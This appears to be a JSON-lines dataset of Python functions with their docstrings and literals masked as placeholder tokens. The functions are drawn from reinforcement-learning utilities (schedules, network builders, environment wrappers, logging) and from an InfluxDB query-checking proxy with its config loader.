{"signature": "def value(self, t):", "body": "for (l_t, l), (r_t, r) in zip(self._endpoints[:-<NUM_LIT:1>], self._endpoints[<NUM_LIT:1>:]):<EOL><INDENT>if l_t <= t and t < r_t:<EOL><INDENT>alpha = float(t - l_t) / (r_t - l_t)<EOL>return self._interpolation(l, r, alpha)<EOL><DEDENT><DEDENT>assert self._outside_value is not None<EOL>return self._outside_value<EOL>", "docstring": "See Schedule.value", "id": "f1370:c2:m1"}
{"signature": "def __init__(self, schedule_timesteps, final_p, initial_p=<NUM_LIT:1.0>):", "body": "self.schedule_timesteps = schedule_timesteps<EOL>self.final_p = final_p<EOL>self.initial_p = initial_p<EOL>", "docstring": "Linear interpolation between initial_p and final_p over\n        schedule_timesteps. After this many timesteps pass final_p is\n        returned.\n\n        Parameters\n        ----------\n        schedule_timesteps: int\n            Number of timesteps for which to linearly anneal initial_p\n            to final_p\n        initial_p: float\n            initial output value\n        final_p: float\n            final output value", "id": "f1370:c3:m0"}
{"signature": "def value(self, t):", "body": "fraction = min(float(t) / self.schedule_timesteps, <NUM_LIT:1.0>)<EOL>return self.initial_p + fraction * (self.final_p - self.initial_p)<EOL>", "docstring": "See Schedule.value", "id": "f1370:c3:m1"}
{"signature": "def tile_images(img_nhwc):", "body": "img_nhwc = np.asarray(img_nhwc)<EOL>N, h, w, c = img_nhwc.shape<EOL>H = int(np.ceil(np.sqrt(N)))<EOL>W = int(np.ceil(float(N)/H))<EOL>img_nhwc = np.array(list(img_nhwc) + [img_nhwc[<NUM_LIT:0>]*<NUM_LIT:0> for _ in range(N, H*W)])<EOL>img_HWhwc = img_nhwc.reshape(H, W, h, w, c)<EOL>img_HhWwc = img_HWhwc.transpose(<NUM_LIT:0>, <NUM_LIT:2>, <NUM_LIT:1>, <NUM_LIT:3>, <NUM_LIT:4>)<EOL>img_Hh_Ww_c = img_HhWwc.reshape(H*h, W*w, c)<EOL>return img_Hh_Ww_c<EOL>", "docstring": "Tile N images into one big PxQ image\n(P,Q) are chosen to be as close as possible, and if N\nis square, then P=Q.\n\ninput: img_nhwc, list or array of images, ndim=4 once turned into array\n    n = batch index, h = height, w = width, c = channel\nreturns:\n    bigim_HWc, ndarray with ndim=3", "id": "f1371:m0"}
{"signature": "def nature_cnn(unscaled_images, **conv_kwargs):", "body": "scaled_images = tf.cast(unscaled_images, tf.float32) / <NUM_LIT><EOL>activ = tf.nn.relu<EOL>h = activ(conv(scaled_images, '<STR_LIT>', nf=<NUM_LIT:32>, rf=<NUM_LIT:8>, stride=<NUM_LIT:4>, init_scale=np.sqrt(<NUM_LIT:2>),<EOL>**conv_kwargs))<EOL>h2 = activ(conv(h, '<STR_LIT>', nf=<NUM_LIT:64>, rf=<NUM_LIT:4>, stride=<NUM_LIT:2>, init_scale=np.sqrt(<NUM_LIT:2>), **conv_kwargs))<EOL>h3 = activ(conv(h2, '<STR_LIT>', nf=<NUM_LIT:64>, rf=<NUM_LIT:3>, stride=<NUM_LIT:1>, init_scale=np.sqrt(<NUM_LIT:2>), **conv_kwargs))<EOL>h3 = conv_to_fc(h3)<EOL>return activ(fc(h3, '<STR_LIT>', nh=<NUM_LIT>, init_scale=np.sqrt(<NUM_LIT:2>)))<EOL>", "docstring": "CNN from Nature paper.", "id": "f1373:m1"}
{"signature": "@register(\"<STR_LIT>\")<EOL>def mlp(num_layers=<NUM_LIT:2>, num_hidden=<NUM_LIT:64>, activation=tf.tanh, layer_norm=False):", "body": "def network_fn(X):<EOL><INDENT>h = tf.layers.flatten(X)<EOL>for i in range(num_layers):<EOL><INDENT>h = fc(h, '<STR_LIT>'.format(i), nh=num_hidden, init_scale=np.sqrt(<NUM_LIT:2>))<EOL>if layer_norm:<EOL><INDENT>h = tf.contrib.layers.layer_norm(h, center=True, scale=True)<EOL><DEDENT>h = activation(h)<EOL><DEDENT>return h<EOL><DEDENT>return network_fn<EOL>", "docstring": "Stack of fully-connected layers to be used in a policy / q-function approximator\n\nParameters:\n----------\n\nnum_layers: int                 number of fully-connected layers (default: 2)\n\nnum_hidden: int                 size of fully-connected layers (default: 64)\n\nactivation:                     activation function (default: tf.tanh)\n\nReturns:\n-------\n\nfunction that builds fully connected network with a given input tensor / placeholder", "id": "f1373:m2"}
{"signature": "@register(\"<STR_LIT>\")<EOL>def lstm(nlstm=<NUM_LIT>, layer_norm=False):", "body": "def network_fn(X, nenv=<NUM_LIT:1>):<EOL><INDENT>nbatch = X.shape[<NUM_LIT:0>]<EOL>nsteps = nbatch // nenv<EOL>h = tf.layers.flatten(X)<EOL>M = tf.placeholder(tf.float32, [nbatch]) <EOL>S = tf.placeholder(tf.float32, [nenv, <NUM_LIT:2>*nlstm]) <EOL>xs = batch_to_seq(h, nenv, nsteps)<EOL>ms = batch_to_seq(M, nenv, nsteps)<EOL>if layer_norm:<EOL><INDENT>h5, snew = utils.lnlstm(xs, ms, S, scope='<STR_LIT>', nh=nlstm)<EOL><DEDENT>else:<EOL><INDENT>h5, snew = utils.lstm(xs, ms, S, scope='<STR_LIT>', nh=nlstm)<EOL><DEDENT>h = seq_to_batch(h5)<EOL>initial_state = np.zeros(S.shape.as_list(), dtype=float)<EOL>return h, {'<STR_LIT:S>':S, '<STR_LIT:M>':M, '<STR_LIT:state>':snew, '<STR_LIT>':initial_state}<EOL><DEDENT>return network_fn<EOL>", "docstring": "Builds LSTM (Long-Short Term Memory) network to be used in a policy.\nNote that the resulting function returns not only the output of the LSTM\n(i.e. hidden state of lstm for each step in the sequence), but also a dictionary\nwith auxiliary tensors to be set as policy attributes.\n\nSpecifically,\n    S is a placeholder to feed current state (LSTM state has to be managed outside policy)\n    M is a placeholder for the mask (used to mask out observations after the end of the episode, but can be used for other purposes too)\n    initial_state is a numpy array containing initial lstm state (usually zeros)\n    state is the output LSTM state (to be fed into S at the next call)\n\n\nAn example of usage of lstm-based policy can be found here: common/tests/test_doc_examples.py/test_lstm_example\n\nParameters:\n----------\n\nnlstm: int          LSTM hidden state size\n\nlayer_norm: bool    if True, layer-normalized version of LSTM is used\n\nReturns:\n-------\n\nfunction that builds LSTM with a given input tensor / placeholder", "id": "f1373:m5"}
{"signature": "@register(\"<STR_LIT>\")<EOL>def conv_only(convs=[(<NUM_LIT:32>, <NUM_LIT:8>, <NUM_LIT:4>), (<NUM_LIT:64>, <NUM_LIT:4>, <NUM_LIT:2>), (<NUM_LIT:64>, <NUM_LIT:3>, <NUM_LIT:1>)], **conv_kwargs):", "body": "def network_fn(X):<EOL><INDENT>out = tf.cast(X, tf.float32) / <NUM_LIT><EOL>with tf.variable_scope(\"<STR_LIT>\"):<EOL><INDENT>for num_outputs, kernel_size, stride in convs:<EOL><INDENT>out = layers.convolution2d(out,<EOL>num_outputs=num_outputs,<EOL>kernel_size=kernel_size,<EOL>stride=stride,<EOL>activation_fn=tf.nn.relu,<EOL>**conv_kwargs)<EOL><DEDENT><DEDENT>return out<EOL><DEDENT>return network_fn<EOL>", "docstring": "convolutions-only net\n\nParameters:\n----------\n\nconv:       list of triples (filter_number, filter_size, stride) specifying parameters for each layer.\n\nReturns:\n\nfunction that takes tensorflow tensor as input and returns the output of the last convolutional layer", "id": "f1373:m8"}
{"signature": "def get_network_builder(name):", "body": "if callable(name):<EOL><INDENT>return name<EOL><DEDENT>elif name in mapping:<EOL><INDENT>return mapping[name]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(name))<EOL><DEDENT>", "docstring": "If you want to register your own network outside models.py, you just need:\n\nUsage Example:\n-------------\nfrom baselines.common.models import register\n@register(\"your_network_name\")\ndef your_network_define(**net_kwargs):\n    ...\n    return network_fn", "id": "f1373:m10"}
{"signature": "def pretty_eta(seconds_left):", "body": "minutes_left = seconds_left // <NUM_LIT><EOL>seconds_left %= <NUM_LIT><EOL>hours_left = minutes_left // <NUM_LIT><EOL>minutes_left %= <NUM_LIT><EOL>days_left = hours_left // <NUM_LIT><EOL>hours_left %= <NUM_LIT><EOL>def helper(cnt, name):<EOL><INDENT>return \"<STR_LIT>\".format(str(cnt), name, ('<STR_LIT:s>' if cnt > <NUM_LIT:1> else '<STR_LIT>'))<EOL><DEDENT>if days_left > <NUM_LIT:0>:<EOL><INDENT>msg = helper(days_left, '<STR_LIT>')<EOL>if hours_left > <NUM_LIT:0>:<EOL><INDENT>msg += '<STR_LIT>' + helper(hours_left, '<STR_LIT>')<EOL><DEDENT>return msg<EOL><DEDENT>if hours_left > <NUM_LIT:0>:<EOL><INDENT>msg = helper(hours_left, '<STR_LIT>')<EOL>if minutes_left > <NUM_LIT:0>:<EOL><INDENT>msg += '<STR_LIT>' + helper(minutes_left, '<STR_LIT>')<EOL><DEDENT>return msg<EOL><DEDENT>if minutes_left > <NUM_LIT:0>:<EOL><INDENT>return helper(minutes_left, '<STR_LIT>')<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Print the number of seconds in human readable format.\n\n    Examples:\n    2 days\n    2 hours and 37 minutes\n    less than a minute\n\n    Paramters\n    ---------\n    seconds_left: int\n        Number of seconds to be converted to the ETA\n    Returns\n    -------\n    eta: str\n        String representing the pretty ETA.", "id": "f1375:m2"}
{"signature": "def boolean_flag(parser, name, default=False, help=None):", "body": "dest = name.replace('<STR_LIT:->', '<STR_LIT:_>')<EOL>parser.add_argument(\"<STR_LIT>\" + name, action=\"<STR_LIT:store_true>\", default=default, dest=dest, help=help)<EOL>parser.add_argument(\"<STR_LIT>\" + name, action=\"<STR_LIT>\", dest=dest)<EOL>", "docstring": "Add a boolean flag to argparse parser.\n\n    Parameters\n    ----------\n    parser: argparse.Parser\n        parser to add the flag to\n    name: str\n        --<name> will enable the flag, while --no-<name> will disable it\n    default: bool or None\n        default value of the flag\n    help: str\n        help string for the flag", "id": "f1375:m3"}
{"signature": "def get_wrapper_by_name(env, classname):", "body": "currentenv = env<EOL>while True:<EOL><INDENT>if classname == currentenv.class_name():<EOL><INDENT>return currentenv<EOL><DEDENT>elif isinstance(currentenv, gym.Wrapper):<EOL><INDENT>currentenv = currentenv.env<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % classname)<EOL><DEDENT><DEDENT>", "docstring": "Given an a gym environment possibly wrapped multiple times, returns a wrapper\n    of class named classname or raises ValueError if no such wrapper was applied\n\n    Parameters\n    ----------\n    env: gym.Env of gym.Wrapper\n        gym environment\n    classname: str\n        name of the wrapper\n\n    Returns\n    -------\n    wrapper: gym.Wrapper\n        wrapper named classname", "id": "f1375:m4"}
{"signature": "def relatively_safe_pickle_dump(obj, path, compression=False):", "body": "temp_storage = path + \"<STR_LIT>\"<EOL>if compression:<EOL><INDENT>with tempfile.NamedTemporaryFile() as uncompressed_file:<EOL><INDENT>pickle.dump(obj, uncompressed_file)<EOL>uncompressed_file.file.flush()<EOL>with zipfile.ZipFile(temp_storage, \"<STR_LIT:w>\", compression=zipfile.ZIP_DEFLATED) as myzip:<EOL><INDENT>myzip.write(uncompressed_file.name, \"<STR_LIT:data>\")<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>with open(temp_storage, \"<STR_LIT:wb>\") as f:<EOL><INDENT>pickle.dump(obj, f)<EOL><DEDENT><DEDENT>os.rename(temp_storage, path)<EOL>", "docstring": "This is just like regular pickle dump, except from the fact that failure cases are\n    different:\n\n        - It's never possible that we end up with a pickle in corrupted state.\n        - If a there was a different file at the path, that file will remain unchanged in the\n          even of failure (provided that filesystem rename is atomic).\n        - it is sometimes possible that we end up with useless temp file which needs to be\n          deleted manually (it will be removed automatically on the next function call)\n\n    The indended use case is periodic checkpoints of experiment state, such that we never\n    corrupt previous checkpoints if the current one fails.\n\n    Parameters\n    ----------\n    obj: object\n        object to pickle\n    path: str\n        path to the output file\n    compression: bool\n        if true pickle will be compressed", "id": "f1375:m5"}
{"signature": "def pickle_load(path, compression=False):", "body": "if compression:<EOL><INDENT>with zipfile.ZipFile(path, \"<STR_LIT:r>\", compression=zipfile.ZIP_DEFLATED) as myzip:<EOL><INDENT>with myzip.open(\"<STR_LIT:data>\") as f:<EOL><INDENT>return pickle.load(f)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>with open(path, \"<STR_LIT:rb>\") as f:<EOL><INDENT>return pickle.load(f)<EOL><DEDENT><DEDENT>", "docstring": "Unpickle a possible compressed pickle.\n\n    Parameters\n    ----------\n    path: str\n        path to the output file\n    compression: bool\n        if true assumes that pickle was compressed when created and attempts decompression.\n\n    Returns\n    -------\n    obj: object\n        the unpickled object", "id": "f1375:m6"}
{"signature": "def __init__(self, gamma, init_value=None):", "body": "self._value = init_value<EOL>self._gamma = gamma<EOL>", "docstring": "Keep a running estimate of a quantity. This is a bit like mean\n        but more sensitive to recent changes.\n\n        Parameters\n        ----------\n        gamma: float\n            Must be between 0 and 1, where 0 is the most sensitive to recent\n            changes.\n        init_value: float or None\n            Initial value of the estimate. If None, it will be set on the first update.", "id": "f1375:c1:m0"}
{"signature": "def update(self, new_val):", "body": "if self._value is None:<EOL><INDENT>self._value = new_val<EOL><DEDENT>else:<EOL><INDENT>self._value = self._gamma * self._value + (<NUM_LIT:1.0> - self._gamma) * new_val<EOL><DEDENT>", "docstring": "Update the estimate.\n\n        Parameters\n        ----------\n        new_val: float\n            new observated value of estimated quantity.", "id": "f1375:c1:m1"}
{"signature": "def __float__(self):", "body": "return self._value<EOL>", "docstring": "Get the current estimate", "id": "f1375:c1:m2"}
{"signature": "def wrap_deepmind_retro(env, scale=True, frame_stack=<NUM_LIT:4>):", "body": "env = WarpFrame(env)<EOL>env = ClipRewardEnv(env)<EOL>if frame_stack > <NUM_LIT:1>:<EOL><INDENT>env = FrameStack(env, frame_stack)<EOL><DEDENT>if scale:<EOL><INDENT>env = ScaledFloatFrame(env)<EOL><DEDENT>return env<EOL>", "docstring": "Configure environment for retro games, using config similar to DeepMind-style Atari in wrap_deepmind", "id": "f1376:m1"}
{"signature": "def __init__(self, env, k, channel=<NUM_LIT:1>):", "body": "gym.Wrapper.__init__(self, env)<EOL>shp = env.observation_space.shape<EOL>self.channel = channel<EOL>self.observation_space = gym.spaces.Box(low=<NUM_LIT:0>, high=<NUM_LIT:255>,<EOL>shape=(shp[<NUM_LIT:0>], shp[<NUM_LIT:1>], shp[<NUM_LIT:2>] + k - <NUM_LIT:1>),<EOL>dtype=env.observation_space.dtype)<EOL>self.k = k<EOL>self.frames = deque([], maxlen=k)<EOL>shp = env.observation_space.shape<EOL>", "docstring": "Stack one channel (channel keyword) from previous frames", "id": "f1376:c1:m0"}
{"signature": "def __init__(self, env, ratio):", "body": "gym.ObservationWrapper.__init__(self, env)<EOL>(oldh, oldw, oldc) = env.observation_space.shape<EOL>newshape = (oldh//ratio, oldw//ratio, oldc)<EOL>self.observation_space = gym.spaces.Box(low=<NUM_LIT:0>, high=<NUM_LIT:255>,<EOL>shape=newshape, dtype=np.uint8)<EOL>", "docstring": "Downsample images by a factor of ratio", "id": "f1376:c2:m0"}
{"signature": "def __init__(self, env):", "body": "gym.ObservationWrapper.__init__(self, env)<EOL>(oldh, oldw, _oldc) = env.observation_space.shape<EOL>self.observation_space = gym.spaces.Box(low=<NUM_LIT:0>, high=<NUM_LIT:255>,<EOL>shape=(oldh, oldw, <NUM_LIT:1>), dtype=np.uint8)<EOL>", "docstring": "Downsample images by a factor of ratio", "id": "f1376:c3:m0"}
{"signature": "def logkv(key, val):", "body": "get_current().logkv(key, val)<EOL>", "docstring": "Log a value of some diagnostic\nCall this once for each diagnostic quantity, each iteration\nIf called many times, last value will be used.", "id": "f1379:m1"}
{"signature": "def logkv_mean(key, val):", "body": "get_current().logkv_mean(key, val)<EOL>", "docstring": "The same as logkv(), but if called many times, values averaged.", "id": "f1379:m2"}
{"signature": "def logkvs(d):", "body": "for (k, v) in d.items():<EOL><INDENT>logkv(k, v)<EOL><DEDENT>", "docstring": "Log a dictionary of key-value pairs", "id": "f1379:m3"}
{"signature": "def dumpkvs():", "body": "return get_current().dumpkvs()<EOL>", "docstring": "Write all of the diagnostics from the current iteration", "id": "f1379:m4"}
{"signature": "def log(*args, level=INFO):", "body": "get_current().log(*args, level=level)<EOL>", "docstring": "Write the sequence of args, with no separators, to the console and output files (if you've configured an output file).", "id": "f1379:m6"}
{"signature": "def set_level(level):", "body": "get_current().set_level(level)<EOL>", "docstring": "Set logging threshold on current logger.", "id": "f1379:m11"}
{"signature": "def get_dir():", "body": "return get_current().get_dir()<EOL>", "docstring": "Get directory that log files are being written to.\nwill be None if there is no output directory (i.e., if you didn't call start)", "id": "f1379:m13"}
{"signature": "def profile(n):", "body": "def decorator_with_name(func):<EOL><INDENT>def func_wrapper(*args, **kwargs):<EOL><INDENT>with profile_kv(n):<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT><DEDENT>return func_wrapper<EOL><DEDENT>return decorator_with_name<EOL>", "docstring": "Usage:\n@profile(\"my_func\")\ndef my_func(): code", "id": "f1379:m15"}
{"signature": "def configure(dir=None, format_strs=None, comm=None):", "body": "if dir is None:<EOL><INDENT>dir = os.getenv('<STR_LIT>')<EOL><DEDENT>if dir is None:<EOL><INDENT>dir = osp.join(tempfile.gettempdir(),<EOL>datetime.datetime.now().strftime(\"<STR_LIT>\"))<EOL><DEDENT>assert isinstance(dir, str)<EOL>os.makedirs(dir, exist_ok=True)<EOL>log_suffix = '<STR_LIT>'<EOL>rank = <NUM_LIT:0><EOL>for varname in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if varname in os.environ:<EOL><INDENT>rank = int(os.environ[varname])<EOL><DEDENT><DEDENT>if rank > <NUM_LIT:0>:<EOL><INDENT>log_suffix = \"<STR_LIT>\" % rank<EOL><DEDENT>if format_strs is None:<EOL><INDENT>if rank == <NUM_LIT:0>:<EOL><INDENT>format_strs = os.getenv('<STR_LIT>', '<STR_LIT>').split('<STR_LIT:U+002C>')<EOL><DEDENT>else:<EOL><INDENT>format_strs = os.getenv('<STR_LIT>', '<STR_LIT>').split('<STR_LIT:U+002C>')<EOL><DEDENT><DEDENT>format_strs = filter(None, format_strs)<EOL>output_formats = [make_output_format(f, dir, log_suffix) for f in format_strs]<EOL>Logger.CURRENT = Logger(dir=dir, output_formats=output_formats, comm=comm)<EOL>log('<STR_LIT>'%dir)<EOL>", "docstring": "If comm is provided, average all numerical stats across that comm", "id": "f1379:m17"}
{"signature": "def read_tb(path):", "body": "import pandas<EOL>import numpy as np<EOL>from glob import glob<EOL>import tensorflow as tf<EOL>if osp.isdir(path):<EOL><INDENT>fnames = glob(osp.join(path, \"<STR_LIT>\"))<EOL><DEDENT>elif osp.basename(path).startswith(\"<STR_LIT>\"):<EOL><INDENT>fnames = [path]<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\"%path)<EOL><DEDENT>tag2pairs = defaultdict(list)<EOL>maxstep = <NUM_LIT:0><EOL>for fname in fnames:<EOL><INDENT>for summary in tf.train.summary_iterator(fname):<EOL><INDENT>if summary.step > <NUM_LIT:0>:<EOL><INDENT>for v in summary.summary.value:<EOL><INDENT>pair = (summary.step, v.simple_value)<EOL>tag2pairs[v.tag].append(pair)<EOL><DEDENT>maxstep = max(summary.step, maxstep)<EOL><DEDENT><DEDENT><DEDENT>data = np.empty((maxstep, len(tag2pairs)))<EOL>data[:] = np.nan<EOL>tags = sorted(tag2pairs.keys())<EOL>for (colidx,tag) in enumerate(tags):<EOL><INDENT>pairs = tag2pairs[tag]<EOL>for (step, value) in pairs:<EOL><INDENT>data[step-<NUM_LIT:1>, colidx] = value<EOL><DEDENT><DEDENT>return pandas.DataFrame(data, columns=tags)<EOL>", "docstring": "path : a tensorboard file OR a directory, where we will find all TB files\n       of the form events.*", "id": "f1379:m24"}
{"signature": "@staticmethod<EOL><INDENT>def create_datapoint(name, columns, points):<DEDENT>", "body": "return {<EOL>\"<STR_LIT>\": \"<STR_LIT:s>\",<EOL>\"<STR_LIT:name>\": name,<EOL>\"<STR_LIT>\": columns,<EOL>\"<STR_LIT>\": points,<EOL>}<EOL>", "docstring": "Create datastructure in InfluxDB 0.8 data format\n:param name:\n:param columns:\n:param points:\n:return:", "id": "f1381:c0:m1"}
{"signature": "def create_series(self, num_series, batch_size=<NUM_LIT>):", "body": "datapoints = []<EOL>for _ in range(num_series):<EOL><INDENT>name = self.dummy_seriesname()<EOL>datapoints.append(self.create_datapoint(name, [\"<STR_LIT:value>\"], [[<NUM_LIT:1>]]))<EOL><DEDENT>for data in tqdm(self.batch(datapoints, batch_size)):<EOL><INDENT>self.client.write_points(data)<EOL><DEDENT>", "docstring": "Write one data point for each series name to initialize the series\n:param num_series: Number of different series names to create\n:param batch_size: Number of series to create at the same time\n:return:", "id": "f1381:c0:m3"}
{"signature": "def write_points(self, series_name, start_date, end_date, resolution=<NUM_LIT:10>, batch_size=<NUM_LIT>):", "body": "start_ts = int(start_date.strftime(\"<STR_LIT:%s>\"))<EOL>end_ts = int(end_date.strftime(\"<STR_LIT:%s>\"))<EOL>range_seconds = end_ts - start_ts<EOL>num_datapoints = range_seconds / resolution<EOL>timestamps = [start_ts + i * resolution for i in range(num_datapoints)]<EOL>columns = [\"<STR_LIT:time>\", \"<STR_LIT:value>\"]<EOL>for batch in tqdm(self.batch(timestamps, batch_size)):<EOL><INDENT>points = []<EOL>for timestamp in batch:<EOL><INDENT>point = random.randint(<NUM_LIT:1>, <NUM_LIT:100>)<EOL>points.append([timestamp, point])<EOL><DEDENT>datapoint = self.create_datapoint(series_name, columns, points)<EOL>self.client.write_points([datapoint])<EOL><DEDENT>", "docstring": "Create sample datapoints between two dates with the given resolution (in seconds)\n:param series_name:\n:param start_date:\n:param end_date:\n:param resolution:\n:param batch_size:", "id": "f1381:c0:m5"}
{"signature": "def batches(iterable, n=<NUM_LIT:1>):", "body": "l = len(iterable)<EOL>for ndx in range(<NUM_LIT:0>, l, n):<EOL><INDENT>yield iterable[ndx:min(ndx + n, l)]<EOL><DEDENT>", "docstring": "From http://stackoverflow.com/a/8290508/270334\n:param n:\n:param iterable:", "id": "f1382:m0"}
{"signature": "def __str__(self):", "body": "return '<STR_LIT:U+0020>'.join([Keyword.LIST.upper(), Keyword.SERIES.upper(), self.series_stmt])<EOL>", "docstring": "Standard string representation of drop query", "id": "f1388:c0:m1"}
{"signature": "def __str__(self):", "body": "return '<STR_LIT:U+0020>'.join([Keyword.DROP.upper(), Keyword.SERIES.upper(), self.series_stmt])<EOL>", "docstring": "Standard string representation of drop query", "id": "f1389:c0:m1"}
{"signature": "def get_earliest_date(self):", "body": "if not self.time_overlap:<EOL><INDENT>return TimeExpression.INFLUXDB_EPOCH<EOL><DEDENT>return self.time_overlap.start<EOL>", "docstring": "Get the smallest date in the query\nE.g. in simple queries like select * from foo where time > now() - 24h\nthis would be the date of yesterday\nThis can be useful for checking if very old data is queried for example.\n:return:", "id": "f1390:c0:m1"}
{"signature": "def __str__(self):", "body": "<EOL>statements = [<EOL>(Keyword.SELECT, self.select_stmt),<EOL>(Keyword.FROM, self.from_stmt)<EOL>]<EOL>if self.where_stmt:<EOL><INDENT>statements.append((Keyword.WHERE, self.where_stmt))<EOL><DEDENT>if self.limit_stmt:<EOL><INDENT>statements.append((Keyword.LIMIT, self.limit_stmt))<EOL><DEDENT>if self.group_by_stmt:<EOL><INDENT>statements.append((Keyword.GROUP_BY, ['<STR_LIT>', self.group_by_stmt]))<EOL><DEDENT>return self._format_statements(statements)<EOL>", "docstring": "Standard string representation of select query", "id": "f1390:c0:m6"}
{"signature": "def get_resolution(self):", "body": "return None<EOL>", "docstring": "The resolution is the interval given in the the group_by field.\n(e.g. in the expression \"group by time(10s)\" it would be 10s)\nOnly Select queries can have a resolution.\nAll others don't, so we set this to None by default.", "id": "f1391:c0:m3"}
{"signature": "def get_duration(self):", "body": "return None<EOL>", "docstring": "The duration is the timespan to query data for.\nIt can be set in the \"where\" clause.\nFor instance, in the query:\n\"select * from myseries where time > now() - 24h\"\nthe duration would be 24h.\nDurations can only be given in Select and Delete queries\nso we set this to None by default.", "id": "f1391:c0:m4"}
{"signature": "def get_datapoints(self):", "body": "return None<EOL>", "docstring": "Returns an estimate for the number datapoints that this query\nwill return, where datapoints = duration * resolution\nDatapoints can only occur in Select and Delete queries\nso we set this to None by default.", "id": "f1391:c0:m5"}
{"signature": "def __str__(self):", "body": "statements = [Keyword.DELETE.upper(), Keyword.FROM.upper(), self.from_stmt]<EOL>if self.where_stmt:<EOL><INDENT>statements.extend([Keyword.WHERE.upper(), self.where_stmt])<EOL><DEDENT>return '<STR_LIT:U+0020>'.join(statements)<EOL>", "docstring": "Standard string representation of delete query", "id": "f1392:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def sanitize(query):<DEDENT>", "body": "query = urllib.unquote(query).decode('<STR_LIT>')<EOL>return query.lower()<EOL>", "docstring": "Prepared raw query for parsing\n:param query: The query to sanitize", "id": "f1393:c0:m0"}
{"signature": "def handle_error(self, request, client_address):", "body": "cls, e = sys.exc_info()[:<NUM_LIT:2>]<EOL>if cls is socket.error or cls is ssl.SSLError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>return HTTPServer.handle_error(self, request, client_address)<EOL><DEDENT>", "docstring": "Overwrite error handling to suppress socket/ssl related errors\n:param client_address: Address of client\n:param request: Request causing an error", "id": "f1396:c0:m1"}
{"signature": "def _check_query(self, query_string):", "body": "return self.protector.check(query_string)<EOL>", "docstring": "Check if the query_string is allowed by the Protector rule set", "id": "f1397:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def get_queries(parameters):<DEDENT>", "body": "parsed_params = urlparse.parse_qs(parameters)<EOL>if '<STR_LIT:q>' not in parsed_params:<EOL><INDENT>return []<EOL><DEDENT>queries = parsed_params['<STR_LIT:q>']<EOL>if not isinstance(queries, list):<EOL><INDENT>queries = [queries]<EOL><DEDENT>return queries<EOL>", "docstring": "Get a list of all queries (q=... parameters) from an URL parameter string\n:param parameters: The url parameter list", "id": "f1397:c0:m6"}
{"signature": "def _handle_request(self, scheme, netloc, path, headers, body=None, method=\"<STR_LIT:GET>\"):", "body": "backend_url = \"<STR_LIT>\".format(scheme, netloc, path)<EOL>try:<EOL><INDENT>response = self.http_request.request(backend_url, method=method, body=body, headers=dict(headers))<EOL>self._return_response(response)<EOL><DEDENT>except Exception as e:<EOL><INDENT>body = \"<STR_LIT>\".format(e.message)<EOL>logging.debug(body)<EOL>self.send_error(httplib.SERVICE_UNAVAILABLE, body)<EOL><DEDENT>", "docstring": "Run the actual request", "id": "f1397:c0:m9"}
{"signature": "def send_error(self, code, message=None):", "body": "message = message.strip()<EOL>self.log_error(\"<STR_LIT>\", code, message)<EOL>self.send_response(code)<EOL>self.send_header(\"<STR_LIT:Content-Type>\", \"<STR_LIT>\")<EOL>self.send_header('<STR_LIT>', '<STR_LIT>')<EOL>self.end_headers()<EOL>if message:<EOL><INDENT>self.wfile.write(message)<EOL><DEDENT>", "docstring": "Send and log plain text error reply.\n:param code:\n:param message:", "id": "f1397:c0:m11"}
{"signature": "def _return_response(self, response):", "body": "self.filter_headers(response.msg)<EOL>if \"<STR_LIT>\" in response.msg:<EOL><INDENT>del response.msg[\"<STR_LIT>\"]<EOL><DEDENT>self.send_response(response.status, response.reason)<EOL>for header_key, header_value in response.msg.items():<EOL><INDENT>self.send_header(header_key, header_value)<EOL><DEDENT>body = response.read()<EOL>self.send_header('<STR_LIT>', str(len(body)))<EOL>self.end_headers()<EOL>self.wfile.write(body)<EOL>", "docstring": ":type result: HTTPResponse", "id": "f1397:c0:m12"}
{"signature": "def naughty_strings(filepath=FILEPATH):", "body": "strings = []<EOL>with open(filepath, '<STR_LIT:r>') as f:<EOL><INDENT>strings = f.readlines()<EOL>strings = [x.strip(u'<STR_LIT:\\n>') for x in strings]<EOL>strings = [x for x in strings if x and not x.startswith(u'<STR_LIT:#>')]<EOL>strings.insert(<NUM_LIT:0>, u\"<STR_LIT>\")<EOL><DEDENT>return strings<EOL>", "docstring": "Get the list of naughty_strings.\n\n    By default this will get the strings from the blns.txt file\n\n    Code is a simple port of what is already in the /scripts directory\n\n    :param filepath: Optional filepath the the blns.txt file\n    :returns: The list of naughty strings", "id": "f1421:m0"}
{"signature": "def load_config():", "body": "<EOL>config = flatten(default_config.DEFAULT_CONFIG)<EOL>cli_config = flatten(parse_args())<EOL>if \"<STR_LIT>\" in cli_config:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(cli_config['<STR_LIT>']))<EOL>configfile = parse_configfile(cli_config['<STR_LIT>'])<EOL>config = overwrite_config(config, configfile)<EOL><DEDENT>config = overwrite_config(config, cli_config)<EOL>if '<STR_LIT>' in config:<EOL><INDENT>if config['<STR_LIT>'] == <NUM_LIT:1>:<EOL><INDENT>logging.getLogger().setLevel(logging.INFO)<EOL><DEDENT>elif config['<STR_LIT>'] > <NUM_LIT:1>:<EOL><INDENT>logging.getLogger().setLevel(logging.DEBUG)<EOL><DEDENT><DEDENT>return ObjectView(config)<EOL>", "docstring": "Load settings from default config and optionally\noverwrite with config file and commandline parameters\n(in that order).", "id": "f1424:m0"}
{"signature": "def parse_configfile(configfile):", "body": "with open(configfile) as f:<EOL><INDENT>try:<EOL><INDENT>return yaml.safe_load(f)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logging.fatal(\"<STR_LIT>\", e)<EOL>exit(-<NUM_LIT:1>)<EOL><DEDENT><DEDENT>", "docstring": "Read settings from file\n:param configfile:", "id": "f1424:m2"}
